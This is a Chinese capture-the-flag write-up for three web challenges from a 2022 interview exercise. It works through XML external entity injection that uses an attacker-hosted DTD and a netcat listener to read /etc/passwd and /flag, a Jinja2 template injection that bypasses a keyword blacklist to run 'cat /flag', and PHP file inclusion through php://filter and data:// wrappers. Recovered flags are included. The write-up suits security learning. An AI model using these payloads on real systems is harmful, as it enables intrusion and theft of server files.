2022赛宁网安ctf面试题
环境地址
1 | 61.147.171.107:10081 |
10081 xml注入
访问源代码分析,感觉应该的是个xml外部实体注入
先构造payload试一哈:
1 |
|
确实存在,但是有过滤
尝试使用参数型实体方式注入:
vps
构造 test.dtd
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> |
开启端口监听:nc -lvvp 8888
攻击payload:
1 | <?xml version="1.0" encoding="utf-8"?> |
成功返回加密字符串,解密后获取
修改test.dtd
获取test.php
源码
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.php"> |
发包获取到源码如下:
1 | <?php |
看了一下源码没啥东西
应该不用源码审计,猜测flag可能存在路径下,修改test.dtd包含一下看看
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> |
确实有值,解密后成功拿到flag
1 | ZmxhZ3tYUE9aVGQ2NkZhQU1zVXNUcng3QzJ2cURCVm1nRXFiYn0K |
flag:flag{XPOZTd66FaAMsUsTrx7C2vqDBVmgEqbb}
10082 ssti模板注入
请求获取源码,分析源码,获得变量入口点,首先传参变量是name, 构造/?name={{4*4}}
呦西 ,确实有ssti!
不过存在过滤,几乎把能过滤的东西都过滤了,过滤的死死滴
1 | blackwords = ['class', 'attr', 'mro', 'base', 'request', 'session', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', 'local', 'input', 'compile', 'os', 'flag', 'dir', 'eval', 'print', 'and','[', ']', '\'', '"', '{}', '\\', '#', '<', '>', '&', '/', '+'] |
那就绕吧,怎么绕呢?
这里可以利用的点就是使用jinja2自身的过滤器进行bypass
1 | {% set org = ({ }|select()|string()) %}{{org}} |
编写获取对应字符串搜索脚本
1 | #!/usr/local/env python3 |
依次获取更多字符
1 | {% set xhx = (({ }|select|string|list).pop(24)|string) %}{{xhx}} # _ |
根据以上获取字符串进行拼接获取payload:``__import__(’os‘).popen(‘cat /flag’).read()
1 | http://61.147.171.107:10082/?name={% set zero = (self|int) %} |
带入万能payload构造eval执行命令
1 | {% for f,v in whoami.__init__.__globals__.items() %} |
flag : flag{m6WMnd6PKJyuxepVxGjgUCpl7JzWyDjS}
10083 文件包含
请求看源码,典型的文件包含,传入变量file1
和file2
payload:
1 | file1=php://filter/read=convert.base64-encode/resource=flag.php |
利用data协议传入原始文件流,利用php://filter协议包含flag.php文件源码
成功获取base64值解密得flag
1 | PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gZmxhZ3sxbmx1ZGVfYW5kX2cwVF8xVCF9 |
flag: flag{1nlude_and_g0T_1T!}
2022赛宁网安ctf面试题